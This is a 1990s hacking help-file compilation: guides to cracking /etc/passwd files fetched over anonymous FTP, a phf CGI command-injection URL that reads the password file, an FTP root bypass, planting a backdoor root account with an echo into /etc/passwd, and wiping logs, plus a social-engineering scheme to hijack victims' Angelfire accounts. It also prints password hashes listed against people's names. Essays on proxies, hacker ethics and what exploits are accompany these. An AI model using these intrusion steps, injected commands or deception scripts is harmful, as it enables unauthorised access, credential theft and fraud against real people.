

## **Hacking and Cracking for All**

[Webpage hacking for newbies](#)

[Anonymous](#)

[Ethics](#)

[Exploits](#)

[How to Hack Angelfire](#)

[Hack From Unix](#)

[Hack Geocities Websites](#)

[How to Hack Mail City Web Sites](#)

[How to Hack Into Your School](#)

[Linux](#)

[Linux 2](#)

[Hackers Handbook](#)

Help file generated by VB HelpWriter.

## Web Page Hacking for Newbies

+++++

Web Page Hacking For Newbies...

By.

AcidMeister.

ILLÛ\$ÏÖÑ ÅÑĜĒL

Visit Them At.

Written 30/12/1997

+++++

This guide was written in dedication of Samantha who showed me the right path in life, the path to Satanism and Paganism, and she And to the guy BliNdfire who absolutely had to know how to browser hack, so here it is...

First of all you will need an ftp program such as ws\_ftp. I use Voyager FTP downloadable at <http://www.windows95.com> it's real simple and easy to use, so try it if you haven't dealt with ftp before. Now once you have the program find an address like <http://www.shiga-pc.ac.jp> you can find addresses like this by going to a search engine such as AltaVista and running a search for url:ac.jp this tells the search engine to give you all the academic addresses in Japan ex. ac=academic jp=Japan , you can try this with any country ex. url:dk . But for now let's just focus on the Japanese servers. When u have an address (I would recommend making a list of about 100 and trying them all) go to your ftp program and type in the address ex. <http://www.shiga-pc.ac.jp> note.. You will have to log in anonymously. You should then get a list of folders on the remote system usr, pub,etc, dev, bin. See the etc folder? open it, once opened you should see some files passwd and group, open or view the file passwd (this is where the passwords for the system are stored), you should hopefully get something that looks like this.

```
root:RqX6dqOZsf4BI:0:1:System PRIVILEGED Account,,,:/bin/csh
field:PASSWORD HERE:0:1:Field Service PRIVILEGED Account:/usr/field:/bin/csh
operator:PASSWORD HERE:0:28:Operator PRIVILEGED Account:/opr:/opr/opser
ris:Nologin:11:11:Remote Installation Services Account:/usr/adm/ris:/bin/sh
daemon:*:1:1:Mr Background:/:
sys:PASSWORD HERE:2:3:Mr Kernel:/usr/sys:
bin:PASSWORD HERE:3:4:Mr Binary:/bin:
uucp:Nologin:4:1:UNIX-to-UNIX Copy:/usr/spool/uucppublic:/usr/lib/uucp/uucico
uucpa:Nologin:4:1:uucp adminstrative account:/usr/lib/uucp:
```

```
sso:Nologin:6:7:System Security Officer:/etc/security:
news:Nologin:8:8:USENET News System:/usr/spool/netnews:
sccs:PASSWORD HERE:9:10:Source Code Control:/:
ingres:PASSWORD HERE:267:74:ULTRIX/SQL Administrator:/usr/kits/sql:/bin/csh
rlembke:n25SO.YgDxqhs:273:15:Roger Lembke,,,:/usr/email/users/rlembke:/bin/csh
rhuston:ju.FWWOh0cUSM:274:15:Robert Huston,st 304c,386,:/usr/email/users/rhuston:/bin/csh
jgordon:w4735loqb8F5l:275:15:James."Tiger" Gordon:/usr/email/users/jgordon:/bin/csh
lpeery:YlJkAzKSxkz4M:276:15:Larry Peery:/usr/email/users/lpeery:/bin/csh
nsymes:lSzkVgKhuOWRM:277:15:Nancy Symes:/usr/email/users/nsymes:/bin/csh
llembke:yDAq2xZgzqmms:278:15:Linda Lembke:/usr/email/users/llembke:/bin/csh
grees:eb2pQcYl0Q5UI:279:15:Gary Rees:/usr/email/users/grees:/bin/csh
nreece:NiwrnCHzn5p7A:281:15:Neva Reece:/usr/email/users/nreece:/bin/csh
delliott:8Q1O1LukmfXfA:283:15:Dan Elliott:/usr/email/users/delliott:/bin/csh
erobinet:vGufhYNuhkTZ6:284:15:Eric Robinette:/usr/email/users/erobinet:/bin/csh
mhirsch:0AgYY2.YBLj8Y:285:15:Michael Hirsch:/usr/email/users/mhirsch:/bin/csh
schristi:yckqD6acrG2OM:289:15:Scott Christianson:/usr/email/users/schristi:/bin/csh
pdrummon:39MW8ROgoY.T6:294:15:R.Paul Drummond:/usr/email/users/pdrummon:/bin/csh
dbrown:fmTUonryY2mCE:295:15:Doris Brown:/usr/email/users/dbrown:/bin/csh
```

This means you've hit the jackpot, in this case you should get a password cracker download one at (<http://www.hackersweb.com> go to the hacking toolz section), I would recommend for the beginning hacker to get a password cracker such as killer cracker because it's extremely easy to use. Once you have downloaded killer cracker you will need a dictionary file (get one at <http://www.hackersweb.com> look in the extra toolz section), dictionary files are better the bigger they are so I would recommend getting one at around 10 MB or more. Now the passwords from the password file off the server you are hacking, you will need to save them to a file and place them in the same directory as Killer Cracker, you will also need to have your dictionary file in the same directory. Now you are ready to go, just run killer cracker and tell it the name of the Pwfile=the password file and the name of the word file=your dictionary file, the valid file will be the file where the output of the password cracker will be put just give it a name such as crack.txt. Once the cracker is done cracking the password files for you goto the valid file and take a look the file should look something like this root:root:0:1:System PRIVILEGED Account,,,:/bin/csh (remember this is an example). This file says that the username is root and the password is root if the file had been like this.  
root:dumbass:0:1:System PRIVILEGED Account,,,:/bin/csh  
(remember again just an example) the login or username would be root and the password would be dumbass, well that's it just ftp to the site using the login and password. Note if you get root type in the following once you have logged in:-  
echo "myserver::0:0:Test User:/bin/csh">>etc/passwd  
this will allow you to login to the server with 1:myserver so you get the admin suspicious when they see people login as root. Hide yourself as much as possible, if you already have a shell then go through that first when logging on, or telnet to the hacked site shell and then re-telnet to the hacked shell using the hacked shell, if you see what I mean, so your who appears as local host. Also get some c scripts which delete your presence, erases you off logs etc...

Now if you were not as lucky to get exactly the same password file as shown in the example above then maybe you got something like this.

```
root:*:0:1:Operator:/:
ftp:*:53:53:anonymous ftp:/pub:
```

t2\*:201:201:Takaoka Tadashi:/pub:

This means that the passwd file is shadowed, if this is the case then welcome to the administrators world of trying to stop hackers, this is where you cant really do anything. However there is one thing to do sometimes in very rare cases there may be a folder on the remote system that can be accessed by an anonymous login called shadowed, shadow, or secret if this is the case the password files should be in there, congratulations. If there isn't a folder like this, and the passwd file is shadowed then bad luck, go to the next address on your list.

Now that you have tried the first thing as shown above there are a couple of other methods you may also want to try one is FTP hacking shown below...

Go to a dos prompt after you are connected to the internet .

Type.

```
ftp www.victim=the site address
server will ask for a username press enter
server will ask for a password press enter
at the prompt type quote user ftp
then type
quote cwd ~root
then type
quote pass ftp
```

If you get in make sure you delete the log file they might look at it and see that you were on. Once you get on the passwd file is in etc/passwd so type cd etc then type get passwd. If you have done the above right and the server is old you will have root access. By the way root is the highest security status you can have.

Another good way of getting root or a shell at least is through browser hacking. Again well use Japanese educational servers as our target. To do this you will need a browser such as Netscape or Internet Explorer, you will also need a telnet program, you can either download a telnet program at <http://www.windows95.com> or use the one that already comes with dos. To access the telnet program that comes with dos go to your dos windows and type in telnet www.site.com the site.com stand for the site you want to telnet to, it could be anything like [www.geidai.ac.jp](http://www.geidai.ac.jp) or [www.tulips.tsukuba.ac.jp](http://www.tulips.tsukuba.ac.jp) . You will also need a cracker program I would recommend using Killer Cracker and applying as above.

Next thing you do is open your browser and run a search for url:ac.jp , like explained above. Again I would recommend making a big list of your targets. Now when you have your targets we address type it in your browser and add this to it...

<http://www.taigetgoeshere.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd>

or

<http://www.taigetgoeshere.com/cgi/phf?Qalias=x%0a/bin/cat%20/etc/passwd>

To all you out there who are slightly advanced, I know this is the phf technique and it is virtually dead, but you'll be surprised where you can use this.

This technique of finding the password file was first used in November 1996 on the fbi.gov webpage by a few hackers. It has been patched up by a lot of servers, so this won't work on something like www.nasa.gov or most of the www.\*.com sites. But still works on many university servers outside Europe and the U.S.

O.K. Once the url is entered you will see a number of things:-

Error 404

Cgi-bin/phf is not found on this server (the most common one)

Or

Warning

You do not have permission to view cgi-bin/phf?/ on this server

There are a number of other things the server might say, but the thing you want it to say is this:-

Query Results

```
/usr/local/bin/ph -m alias=x /bin/cat /etc/passwd
```

```
root:2hjh34b4hj:0:1:0000-Admin(0000):/bin/sh
daemon:fghfhijyk:1:1:0000-Admin(0000):/
bin:fghfed7tfndgh:2:2:0000-Admin(0000):usr/bin:/bin/csh
sys:fdn7:3:3:0000-Admin(0000):/
adm:dehf6:4:4:0000-Admin(0000):var/adm:
wnn:dfhfv:5:5:0000-Admin(0000):var/adm:
news:detdc:6:6:0000-Admin(0000):usr/lib/news:
lp:qwwos:71:8:0000-lp(0000):usr/spool/lp:
smtp:cmvof:0:0:mail daemon user:/
uucp:lcocbe:5:5:0000-uucp(0000):usr/lib/uucp:
nuucp:pelebd:9:9:0000-uucp(0000):var/spool/uucppublic:usr/lib/uucp/uucico
listen:eoend:37:4:Network Admin:usr/net/nls:
nobody:ccvjcvj:60001:60001:uid no b
```

etc...

This means you have hit the jackpot!!!

If you get something similar to this but all lines have something in common like the following:-

Query Results

```
/usr/local/bin/ph -m alias=x /bin/cat /etc/passwd
```

```
root:x:0:1:0000-Admin(0000):/bin/sh
daemon:x:1:1:0000-Admin(0000):/
```

```
bin:x:2:2:0000-Admin(0000):/usr/bin:/bin/csh
sys:x:3:3:0000-Admin(0000):/:
adm:x:4:4:0000-Admin(0000):/var/adm:
wnn:x:5:5:0000-Admin(0000):/var/adm:
news:x:6:6:0000-Admin(0000):/usr/lib/news:
lp:x:71:8:0000-lp(0000):/usr/spool/lp:
smtp:x:0:0:mail daemon user:/:
uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:uid no b
```

(notice the c) if you don't know what this means it means the password file is shadowed and you cannot work out ht epasswords for a shadowed password file then you're in bad luck, I would recommend trying the ftp hack prior to this for the best results.

If some but not all logins have a \* in them then it's ok, it's worth while getting the ones which aren't shadowed, hey a shell is a shell!!!

If you want to use your newly acquired shells then telnet to the site and put in the login and the password (remember you have to crack the password file first explained at the top).

Anyway that's it for now hope at least some people benefited from this guide.

Please send Comments, Questions, and Death threats to. But please no mailbombs i feel so sorry for you when i have to fry your asses...

Acidmeister@hotmail.com

Or visit him at.

<http://www.hackersweb.com>

For the ultimate list of hacking guides and toolz of the trade.

Or you can find him on...

Chat.yahoo.com as AcidMeister the one and only...

Disclaimer:

This is for Educational purposes only it should not be used as a guide to cause havoc or to hack. He He He, good luck!!! And don't get caught. I would hate to see you in a cell with your 300 pound Bruno The Gay Ax murderer. He He He...

This was written in Word Pad so if you have any problems let me know...

Copyright © AcidMeister...

Help file generated by VB HelpWriter.

## Anonymous

[---Stay anonymous on the web-----]

..By MAX member of :MPD: (c) 1998 MAX [4d5044]

Note..This tutorial will teach a average day user how to keep all his Essential info limited so attacks from Hackers cant be made

SHouth outs: Myth leader of MPD u rule dude,All members of MPD, and everyone else who i should shout out too u know who u are.

The topics..

- 1.What are packets.
  - 2.Getting a http proxy.
  - 3.How http proxy work.
  - 4.How to secure http packets.
  - 5.How to edit what o's and mozilla info send.
  - 6.Getting a socket proxy.
  - 7.How socket proxy work.
  - 8.Cookies.
  - 9.Final note.
- 

### 1.What are packets.

Packets are very simple on the net There are millions of user's now for security and other reasons there must be ways of establishing difference between user's Thus is done by packets, Packets are used when ever u connect to a remote server/system Its identify's who is connecting.

An example of a http packet.( [Connect from MAX.mpd.com]  
[206.14.13.32] (Mozilla/4.05 [en] (X11;l;Linux 2.0.32 i586) on December 2, 1998 at 14:34:45 )

Now ill tell u what it is saying if u dont know.

\*Note\*(Http packets is the way u are sending info through the web browser whenever u connect to a server/mechine/site )

[connected from MAX.mpd.com]-This is my host

[206.14.13.32]- is my ip

(Mozilla/4.05)- is the version of mozilla im using

(X11;l;Linux 2.0.32 i586)- Is The O's(operating system) And version of the o's im running

[On december 2, 1998 at 14:34:45] - is day/year/time

Now u know how it works this is one way Hackers get all the info they need on your computer to hack it.

Now we dont want this anymore THus anonymous proxies where invented to give keep user's on the net secure.Using anonymous proxies isnt 100% secure as the hacker can still do means on getting your real ip/host/os ill talk about that later but it makes it very hard for a hacker to get your ip/host once behind a proxy.

Now http isnt the only means of packets there are also socket packets which ill talk about later.

### 2.How http proxy work.

A http proxy works like server it is actualy and what it does is when setup in your browser when ever u want to go to sites.It will connect to there proxy server first then the proxy server conncts to the site



u want to go to TThus leaving no evendence of u on the site just the proxy server.(Dont worry once u setup a proxy dont think u always have to type in the proxy in first then go to there and type the site u want too go to. :)It dont work like that once u have entered the proxy settings in ya browser it will auto do the proxy for u all u have to do is surf the net.(Setting up a http proxy descussed later)

### 3. Getting a http proxy

Http proxies are very easily found on the net as there are many committed Http proxy server's around that are free.

Ill give a list of some http proxies for your all sorry if your country proxy isn't here just search on the net for (Http proxy) and ull find one.

\*\*\*Austria\*\*\*

	Port
cache02.netway.at	:80
mail.ppl.co.at	:8080
speth08.wu-wien.ac.at	:8080
pong.ping.at	:8080

\*\*\*Australia\*\*\*

proxy.gwbbs.net.au	:80
chrome.one.net.au	:8080
proxy.newave.net.au	:8080
ws.edi.com.au	:80
mimas.scu.edu.au	:80
proxy.omcs.com.au	:8080
jethro.meriden.pas.com.au	:8080
albany.jrc.net.au	:80
basil.acr.net.au	:8080

#### \*\*\*Belgium\*\*\*

cache-mar.belbone.be	:80
----------------------	-----

#### \*\*\*Bulgaria\*\*\*

conan.gocis.bg	:8080
----------------	-------

#### \*\*\*Brazil\*\*\*

200.250.14.5)ct-nt-02.cybertelecom.com.br	:8080
sanan.com.br	:8080

#### \*\*\*Canada\*\*\*

proxy.collegemv.qc.ca	:8080
srvprx.cspaysbleuets.qc.ca	:80
valliere.csvalliere.qc.ca	:80
keeper.albertc.on.ca	:8080
cproxy1.justice.gc.ca	:80
proxy.cslouis-hemon.qc.ca	:8080
gateway.kwantlen.bc.ca	:80

#### \*\*\*Switzerland\*\*\*

cache1.worldcom.ch	:8080
--------------------	-------

cache2.worldcom.ch :8080  
cache3.worldcom.ch :8080  
web-cache-2.cern.ch :80  
proxy.span.ch :8080  
gip-lausanne-nc.globalip.ch :80  
gip-lausanne-cf2.globalip.ch :8080  
gip-lausanne-cf1.globalip.ch :8080  
proxy2.iso.ch :8080  
proxy.iprolink.ch :80

\*\*\*China\*\*\*

proxy.szptt.net.cn :8080

\*\*\*United States\*\*\*

hpux.mesd.k12.or.us :8080  
gatekeeper.ci.slc.ut.us :8080  
episd.elpaso.k12.tx.us :8080  
svc.logan.k12.ut.us :8001  
proxy.eup.k12.mi.us :8080  
svc.nues.k12.ut.us :8001  
proxy.eup.k12.mi.us :8080  
(207.78.252.100)oakweb.oak-web.washington-ch.oh.us :80  
hominibus.nvc.cc.ca.us :80  
et.mohave.cc.az.us :80

(ok id say i gave out enough if ya local country not there go search the net and if cant find use another country one that is close to u)

#### 4.How to secure Http packets

Like i said before this is a normal http packet

( [Connect from MAx.mpd.com]

[206.14.13.32] (Mozilla/4.05 [en] (X11;Linux 2.0.34 i586) on December 2, 1998 at 14:34:45 )

Now to Make your ip and host anonymous to web browsing we are going to use http proxy with ya browser. This is done by going to ya options and finding the info on proxy settings in thus put in all available places in proxy setting etc.ftp,http,security, Except leave sockets part blank This isnt a socket proxy its a http Now after setting up a proxy in the proxy settings and putting in the port too. Our new packets will look like this.

( [Connect from The\_proxies\_host]

[The\_proxies\_ip] (Mozilla/4.05 [en] (X11;Linux 2.0.34 i586) on December 2, 1998 at 14:34:45 )

Now u might be thinking cool :) No longer have everdence of me on there server but dam they know my o's and version of mozilla later on ill descuse how to change that. U might also be thinking WOW now i can surf 100% secure on the net. U are not totally right. IF a hacker had a real grunge on u. He has now the proxy u are using there ip/host now if he wants to get your info that badly he would have to hack the proxy server comapare the log time of the time u loged to the hacker's site too the logs of your connection to the proxy server. Thus is a real big job and if pick a good proxy server they will be very secure from attack's So your pritty much safe.

5.How to edit the o's and mozilla info send.

Ok if your using le this is how u would do it.

To see Original Settings

```
GOTO HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
User Agent = Mozilla/4.0 (compatible; MSIE 4.01; Windows 95; (Your Orginal Settings))
```

(Skip this Part here)

```
GOTO HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
ProductName = Microsoft Windows 95
Version = Windows 95
```

```
GOTO HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\User
Agent\Post Platform
(Your Original Settings Here) = IEAK(Your Original Settings Here)
```

Example

```
GOTO HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\User
Agent\Post Platform
Myth [Unix-Base] = IEAKMyth [Unix-Base]
```

\*Note (this info on how to change the mozilla and version shown was given to me from Myth i didn't make it.)

6.Getting a socket proxy.

Ok now socket proxies work like Http proxies the only diff is socket proxies are used with programs like (icq,mirc) And the packets are send through sockets not http.Getting a socket proxy is alot harder because Socket proxy server's have to be dedicated to a sertain program so its very limiting to the amount of user's he will get.

Http is always used its using the web everyone uses it so http proxies are always going to be in need.

TO find a socket proxy u can search the net typing in (Socket proxy) or try for sertain program's names like (Icq proxy).

Hopefully u will get one

socket proxies are useful as alot of attacks on user's are done by kids with nukes,pring,ping,smurf,etc etc And thus will anoy a user in mirc or from icq both these programs give any user possability to get a user's ip/host.

thats why if u use these u will want a socket proxy.

Alot of people go why dont u just use ident or jizz or something for mirc and icq.Well the reason u don't as there are expolits out there to crash spoofed hosts/ip for programs like jizz and ident a proxy is more stable way and more prevention then a spoofer program.

With these programs its explains once u get a socket proxy how to set them up in them so i dont have to go and explain for u.Because its different for all programs Socket is also used in web downloading/surfing but not to worry u can find alot of socket proxies for web downloading/surfing around.

7.How a socket proxy works.

I just explained it briefly in last topic.

I'll go into a bit more detail

see when ever u send or recive a file for a server/user

it has to send through a socket. Now when they do this it has to establish

a connection to your computer. Example if a connection

( established a connection on MAX.mpd.com port 1030 )

And thats not all it will log on the computer what day/year/time

u established a connection. This is another way hackers get info on u

Thats why u need a socket proxy.

8. Cookies.

Ok cookies are also apart of way info is send from your server/isp

to your computer cookies transmits info on webpages visited by u

info on what u have downloaded and so forth with a ip/host and day/

year/time . Now hackers can use this hack for 2 reasons

1. Get info they need to attack u

2. Be able to see all places u have been/done on web/send files through

to your computer without u even knowing it.

Now With all browsers now u can stop even limit cookies from the oriene

of your server. Go to your options u will find something on cookies

there in ya browser.

Now this is very limiting so if ya a linux/unix user there is a nice

little program i know that will go that few steps furture.

Visit. ([http://www.lne.com/ericm/cookie\\_jar/](http://www.lne.com/ericm/cookie_jar/))

THis program called "Cookie jar" allows u to limit sites from your computer

limit if u get cookies from that site/server its goes the extra steps

u need.

9. Final note.

Rember dont use this security for hacking almost all proxy server's

will give the cops/server's your info if they find u tryed to hack with

there anonymous proxy settings. Only use this to stops attacks against u

and your server.

Rember. Have fun

(c) 1998 MAX [4d5044]

Help file generated by VB HelpWriter.

## **Ethics**

### The Ethics of Hacking

by Dissident

I went up to a college this summer to look around, see if it was where I wanted to go and what not. The guide asked me about my interests, and when I said computers, he started asking me about what systems I had, etc. And when all that was done, the first thing he asked me was "Are you a hacker?"

Well, that question has been bugging me ever since. Just what exactly is a hacker? A REAL hacker?

For those who don't know better, the news media (and even comic strips) have blown it way out of proportion; A hacker, by wrong definition, can be anything from a computer user to someone who destroys everything they can get their evil terminals into.

And the idiotic schmucks of the world who get a Commodore Vic-20 and a 300 baud modem (heh, and a tape drive!) for Christmas haven't helped hackers' reputations a damn bit. They somehow get access to a really cool system and find some files on hacking...Or maybe a friendly but not too cautious hacker helps the loser out, gives him a few numbers, etc. The schmuck gets onto a system somewhere, lucks up and gets in to some really cool information or programs, and deletes them. Or some of the more greedy ones capture it, delete it, and try to sell it to Libya or something. Who gets the blame?

The true hackers...that's who. So what is a true hacker?

Firstly, some people may not think I am entirely qualified to say, mainly because I don't consider myself a hacker yet. I'm still learning the ropes about it, but I think I have a pretty damn good idea of what a true hacker is. If I'm wrong, let one correct me....

True hackers are intelligent, they have to be. Either they do really great in school because they have nothing better to do, or they don't do so well because school is terribly boring. And the ones who are bored aren't that way because they don't give a shit about learning anything. A true hacker wants to know everything. They're bored because schools teach the same dull things over and over and over, nothing new, nothing challenging.

True hackers are curious and patient. If you aren't, how can you work so very hard hacking away at a single system for even one small PEEK at what may be on it?

A true hacker DOESN'T get into the system to kill everything or to sell what he gets to someone else. True hackers want to learn, or want to satisfy their curiosity, that's why they get into the system. To search around inside of a place they've never been, to explore all the little nooks and crannies of a world so unlike the boring cess-pool we live in. Why destroy something and take away the pleasure you had from someone else? Why bring down the whole world on the few true hackers who aren't cruising the phone lines with malicious intent?

True hackers are disgusted at the way things are in this world. All the wonderful technology of the world costs three arms and four legs to get these days. It costs a fortune to call up a board in an adjoining state! So why pay for it? To borrow something from a file I will name later, why pay for what could be "dirt cheap if it wasn't run by profiteering gluttons?" Why be forced, due to lack of the hellacious cash flow it would require to call all the great places, to stay around a bunch of schmuck losers in your home town? Calling out and entering a system you've never seen before are two of the most exhilarating experiences known to man, but it is a pleasure that could not be enjoyed were it not for the ability to phreak.

True hackers are quiet. I don't mean they talk at about .5 dB, I mean they keep their mouths shut and don't brag. The number one killer of those the media would have us call hackers is bragging. You tell a friend, or you run your mouth on a board, and sooner or later people in power will find out what you did, who you are, and you're gone....

I honestly don't know what purpose this file will serve, maybe someone somewhere will read it, and know the truth about hackers. Not the lies that the ignorant spread. To the true hackers out there, I hope I am portraying what you are in this file. If I am not, then I at least

am saying what I think a true hacker should be. And to those wanna-be's out there who like the label of "HACKER" being tacked onto them, grow up, would ya?

Oh yeah, the file I quoted from...It has been done (at least) two times. "The Hacker's Manifesto" or "Conscience of a Hacker" are the two names I've seen it given (a file by itself, and part of an issue of Phrack). Either way, it was written by The Mentor, and it is absolutely the best thing ever written on the subject of hackers. Read it, it could change your life.

Help file generated by VB HelpWriter.

## Exploits

### Exploits How To

## Exploits

Alot of people ask me about exploits, what they are, what they do, and how they use them.

Well, I'm writing this document to explain this for hopefully my last time. It's just starting to bother me that I have to explain this everytime I'm on IRC, so i thought there should be a text explaining them. Well, here it is.

### What is an ' Exploit '

Well to explain this simply, an Exploit is a program that 'exploits' a bug in a specific software. All exploits are different, they do different things and exploit different bugs, thats why exploits are always program specific. Exploits are made to get root on different operating systems. They achieve this by exploiting a bug in software when the software is running as root. In UNIX type OS's, software may have to run as root (or UID 0) in order to perform a specific task that cannot be performed as another user. So basically the exploit crashes the software while running as root to give you the beautiful root prompt.

Well, now that I've answered questions one and two, I'm going to move on to question 3.

### How do I use an exploit?

Since exploits are coded in C 99% of the time, you need a shell on the box you are going to use the exploit on, OR, you need to be running the same OS as the box you are attempting to hack. So basically, you need to put the source code, or the binary in your shell accounts dir. (you want to use a hacked, or a shell not yours for this) To put it on your shell, you can FTP to your account and upload it that way, or you can use rz if you are

using a dialup shell. Either way, i shouldnt have to explain those to things to much, its pretty easy.

Once you have the exploit on the box you just need to compile it. Usually you would compile the exploit like so:

```
blah:~/ $gcc exploit.c
```

That should compile your exploit. However, be aware that some exploit coders are sneaky pests, and like to pick on people who dont know C, so they will sometimes insert bugs into the exploit, thus disabling its ability to be compiled. So it does help to know C when playing with C.

After the compiling is done, you should be able to just run the exploit and its work will be done when you see the root prompt. However, not all exploits are the same, and might require different command lines to get them to work.

Where can I get some exploits?

Well 2 of the best places i have found for exploits are:

<http://get.your.exploits.com>

and

<http://www.rootshell.com>

they are both great resources of exploits and other information.

Conclusion

Well, that pretty much explains everything ya need to know about exploits. If you think I should include any other information just email me at the address provided below.

[miah@hackersclub.com](mailto:miah@hackersclub.com)



Help file generated by VB HelpWriter.

## How to Hack Angelfire

##### \*HOW TO HACK ANGELFIRE PAGES\* #####

<----->

°<+=====++<-[ Made By: EzoONs ]->+=====+>°

\*> Made on: July,30,98 <\*

\*\*>>1998@<<\*\*

-----+  
Made by: EzoONs +  
email : ezoons@hotmail.com +  
ICQ UIN: 16269220 +  
-----+

-----  
THIS TEXT IS FOR EDUCATION ONLY DO NOT BLAME ME |  
OR THIS TEXT FOR ANY KIND OF SHIT YOU GET INTO, |  
IF YOU USE THIS INFORMATION IN A NEGATIVE WAY | <<<  
AND YOU GET BUSTED DONT COME CRYING TO ME... | READ THIS 1st!!  
IF YOU DO NOT AGREE WITH THIS PLEASE CLOSE | <<<  
THIS TEXT RIGHT NOW...AND DELET IT..THANK YOU!

## HOW TO HACK ANGELFIRE PAGES !ANGELFIRE SUCKS!

Ok...lets start!

Now hacking angelfire pages is not that big of a deal...there are other ways to hack angelfire pages but i have tested them and they dont work.. BUT my way is easy,fast and NEW...

One day i was wondering around angelfire pages,trying to find a way to hack them i knew the email trick was lame and angelfire never replys so i started thinking...i made a fake account at angelfire and started exploreing...after about 4hrs i saw it!!.

If you view the source on bedit.html (the page right after you log in) you can see that your password is there its not hidden or anything is just there!!

this is where its located...its about 17,18 lines down from <html> at the top.

```
<font color=teal>Your page <a href="http://www.angelfire.com/mi/KrazieBread/index.html">
http://www.angelfire.com/mi/KrazieBread/index.html </a> has been saved.<br>You may have to click
Reload or Super-Reload (Shift+Reload) to see your edited page and not your old version when you go to
your URL.<br>You can also announce your new page on <a
href="http://homepages.whowhere.com/bin/showpage.pl?add">WhoWhere?</a>, <a
href="http://newtoo.manifest.com/"><u>What's New Too!</u></a>, or if you really want to get noticed, go
to <a href="http://www.submit-it.com/"><u>Submit It!</u></a><br>Tune up your Web Site at the <a
href="http://www.angelfire.com/cgi-bin/ct?ad=websitegarage&vp=/index.clicked&ru=http://
www.websitegarage.com/whowhere">Web Site Garage</a>.</font>
</td></tr></table></center>
<form select method="post" action="http://www.angelfire.com/cgi-bin/bedit">
```

```
<input type="hidden" name="storage" value="mi">
<input type="hidden" name="hpd" value="KrazieBread"> -----
<input type="hidden" name="password" value="KRAZIEb"> <-----!ITS HERE!.
-----
```

You probably saying "SO WHAT??WHATS THE BIG DEAL??"  
The big deal is that ALOT i mean A L O T of people dont know there password  
is there and you can just get in there page.

I have kept this a secret for a long time but i think its time for me  
to tell you guys how to do it...it has worked for me about 90% of the  
time and many angelfire pages have been hacked MY WAY, not the lame  
email way or the cgi way that DONT EVEN WORK!

WARNING!!  
++!!  
YOU NEED A EMAIL ACCOUNT BEFORE YOU START THIS...GO TO WWW.HOTMAIL.COM AND  
MAKE  
ONE DONT GIVE REAL INFO JUST LIE ABOUT EVERYTHING BUT REMEMBER YOUR LOGIN AND  
PASSWORD  
BECAUSE YOU'LL NEED THIS LATER ON!! now follow the steps :)  
++!!  
WARNING!!

=\\\*\*\*\* 1st step \*\*\*\*//=<==

Find a lamer you wanna test this on or if you know someone you wanna  
fuck up just use him...(the best way of getting this done right is  
to be nice to the lame victim so he dont think your trying anything on him)  
anyhow...get the lamer and tell him that you know a nice trick that  
well let him know who enters his page and when they enter it with there ip  
internet username and password and that all this well be emaild to him.  
And ask him if he wants to give it a try...if the person dosent really fall  
for it then just tell him its a very good way to get back people you hate, and all he has  
to do is tell the lamer to go to his page and the persons info well be emaild to  
him.(that might just make him think againg about it)

=\\\*\*\*\* 2nd step \*\*\*\*//=<==

After the poor victim says ok ask him to follow these steps...  
1st- tell him to log on to his page (angelfire account).  
2nd- after he is in tell him to save the page(PAGE SHOULD BE BEDIT.HTML)  
somewhere he can find later on (SAVING AS IN =SAVE AS= ON YOUR BROWSER MENU)  
and tell them to tell you when he is done...

=\\\*\*\*\* 3rd step \*\*\*\*//=<==

After he has done all this tell him you have to scan the file (BEDIT.HTML) with a  
program you have, to make sure his page is not infected with the YELLOW virus  
because if it is then the trick well not work...ask him to send you the BEDIT.HTML  
file and that it wont take more then 3mins. If they say send me the program i wanna do it  
my self say you cant its on a cd and its protected so it cant get send around  
and USE YOUR IMAGINATION AGAING ! until you get him to send you the BEDIT.HTML  
file.

=\\\*\*\*\* 4th step\*\*\*\*//=<==

fast right when you get the file click on it, and BANG your in his account :)  
now remember tha email addy you made before...well RIGHT AWAY change the victums email,  
go to \*change email\* and type in yours...now angelfire will send you an  
email and in it it has your new givin password and your new email so the POOR LAME  
VICTUM cant email them saying he lost his password or anything because angelfire  
thinks he changed his email and they just think the poor victum is lieing so they wont  
reply :)...now that you have changed his email the page is yours just log in angelfire  
with the new password givin to you and thats all.

+++HAVE FUN WITH THIS NEW TRICK MADE POSSIBLE BY \* EzoONs \*+++  
...SORRY FOR THE TYPE O`S...

{{{ ! incase something goes WRONG! }}}}

If the person is to smart and dosent want to send you his bedit.html there are 2  
last things you can do to get it! :)  
YES i thought about EVERYTHING :) so i got it COVERD :) iz all good !hehehe !u should thank me!  
the 2 other ways are :

- 1.) follow the steps i have told you but after they log in there page tell them to go to  
edit there index.html and when he is at the editing screen tell him to save  
it (SAVE AS ON BROWSER MENU) and send it to you (IT SHOULD BE INDEX.HTML)  
(use the same virus thing and so on)...then click on index.html 2 times get in and  
go to "SUBMIT YOUR PAGE" and that'll take you to BEDIT.HTML and you can fuck them over :).
- 2.) tell him to change the BEDIT.HTML to BEDIT.txt (thats if he thinks your going  
to get in his page) and say "there is no way i can get in if its .txt" but  
WE KNOW THAT IS NOT TRUE ! :) just look for tha password. and just follow the  
same steps givin up there once your in...i told you where the password is located  
up there...so u can find it right away :)

-----+  
email : ezoons@hotmail.com + MORE TXTS ARE COMEING OUT ALL  
Made by: EzoONs + SECRETS THAT ONLY I KNOW AND ILL  
ICQ UIN: 16269220 + SHARE....WELCOME TO MY WORLD....  
-----+

## Hack From Unix

### Installing & Hacking From Linux...

All you people that thought you were good hackers, because you could fool dumb sysadmins, and do a bit of social engineering, or hack something by following someones carefully prepared text file. Well you're about to get fucked if you read this text file you will find out that you are a hacker but, the only thing you can do is use someone elses ideas. So with that in mind here goes.

I wrote this text file because i know a lot of people who could benefit from learning to use linux, especially when hacking.

